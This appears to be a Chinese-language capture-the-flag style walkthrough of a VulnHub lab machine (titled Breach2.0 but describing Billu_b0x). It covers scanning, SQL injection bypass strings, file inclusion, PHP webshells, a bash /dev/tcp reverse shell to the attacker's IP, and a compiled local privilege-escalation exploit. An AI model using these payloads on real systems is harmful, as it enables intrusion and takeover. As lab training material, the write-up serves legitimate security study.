渗透测试 | VulnHub-Breach2.0实战
字数 1993 2025-08-18 11:39:30
VulnHub-Breach2.0 渗透测试实战教学文档
靶机信息
- 名称: Billu_b0x
- 难度: 中等
- 操作系统: Ubuntu (32位)
- 包含软件:
- PHP
- Apache
- MySQL
- 目标: 通过Web应用程序进入虚拟机并获得root权限
环境配置
- 靶机设置:
- 使用VMWare打开虚机
- 网络连接方式设置为NAT模式
- 靶机自动获取IP
- 攻击机:
- 同网段Windows攻击机
- 工具: Nmap、Burpsuit、Sqlmap、nc、Python2.7、DirBuster、AWVS、Nessus等
- Kali Linux攻击机
渗透测试流程
1. 信息收集
IP发现
nmap -sP 192.168.64.1/24
发现靶机IP: 192.168.64.161
端口和服务识别
nmap -p1-65535 -A 192.168.64.161 -oN billu.txt
发现开放服务:
- TCP 22: SSH (OpenSSH 5.9p1)
- TCP 80: HTTP (Apache httpd 2.2.22)
2. 漏洞挖掘
漏洞挖掘思路
- SQL注入(首页提示"Show me your SQLI skills")
- 目录暴破(DirBuster)
- 漏洞扫描(AWVS或APPScan)
- 手动挖掘(观察Request/Response包)
- 查看网页源码
- 尝试SSH登录
步骤1: 测试SQL注入
- 尝试基本注入:
admin' or 'a'='a --(失败) - 使用sqlmap测试:
sqlmap.py -u "http://192.168.64.161" --data "un=admin&ps=admin&login=let%27s+login" --level 3 --dbms mysql
结果: 注入失败
步骤2: 目录暴破
使用DirBuster和dirb工具暴破,发现以下重要路径:
- 文件: test.php, add.php, in.php, c.php, index.php, show.php
- 目录: uploaded_images, phpmy
步骤3: 文件包含漏洞利用
- 访问test.php提示需要file参数
- GET请求失败,改为POST请求成功
- 通过文件包含获取:
- /etc/passwd (发现用户ica)
- 多个PHP源码文件(add.php, in.php等)
步骤4: 源码审计
- 从c.php发现数据库凭据:
- 用户名: billu
- 密码: b0x_billu
- 数据库名: ica_lab
步骤5: 访问phpmyadmin
- 暴破出/phpmy目录
- 尝试用billu/b0x_billu登录失败(可能MySQL服务故障)
步骤6: 获取phpmyadmin配置
通过文件包含获取/var/www/phpmy/config.inc.php:
- 发现root密码: roottoor
步骤7: SSH登录
使用root/roottoor成功登录
3. 获取Shell
步骤8: 获取Web登录凭据
- 重启虚拟机后MySQL恢复正常
- 使用billu/b0x_billu登录phpmyadmin
- 在ica_lab数据库的auth表中发现:
- 用户名: biLLu
- 密码: hEx_it
步骤9: Web登录
- 使用biLLu/hEx_it成功登录(注意大小写)
- 发现图片上传功能
步骤10: 文件上传+文件包含获取Shell
- 下载一张图片(jack.php)
- 插入一句话木马:
<?php system($_GET['cmd']); ?> - 上传图片
- 通过panel.php执行命令:
POST /panel.php?cmd=cat%20/etc/passwd;ls
- 反弹Shell:
echo "bash -i >& /dev/tcp/192.168.64.1/4444 0>&1" | bash
步骤11: 写入Webshell
在uploaded_images目录写入菜刀马:
echo '<?php eval($_POST['123456']); ?>' > caidao.php
4. 权限提升
步骤12: 查找提权方法
- 查看系统信息:
uname -a
cat /etc/issue
- 下载Ubuntu本地提权exp: https://www.exploit-db.com/exploits/37292/
步骤13: 编译执行exp
chmod 777 37292.c
gcc 37292.c -o exp
./exp
成功提权至root
其他渗透思路
思路1: SQL注入绕过
- 审计index.php源码发现过滤规则:
str_replace将\'替换为空urldecode解码输入
- 构造有效payload:
' or 1=1 -- \'
思路2: phpmyadmin路径
- 暴破出phpmy目录
- 通过c.php获取mysql密码
- 登录phpmyadmin获取Web凭据
思路3: 配置文件包含
- 文件包含phpmyadmin配置文件
- 获取root密码
- SSH直接登录
经验总结
常见问题
- MySQL可能因高负载宕机(目录暴破/注入导致)
- 文件包含漏洞GET方式可能失败,尝试POST
- SQL注入需注意特殊过滤规则
- 文件上传+文件包含是常见组合利用方式
关键点
- 全面信息收集(nmap,目录暴破)
- 源码审计获取关键信息
- 灵活尝试不同请求方式(GET/POST)
- 多路径渗透思维(不依赖单一漏洞)
- 本地提权关注系统版本和已知漏洞
工具清单
- 信息收集: nmap, dirb, DirBuster
- 漏洞利用: sqlmap, BurpSuite
- 后渗透: nc, 菜刀
- 提权: 本地exp编译(gcc)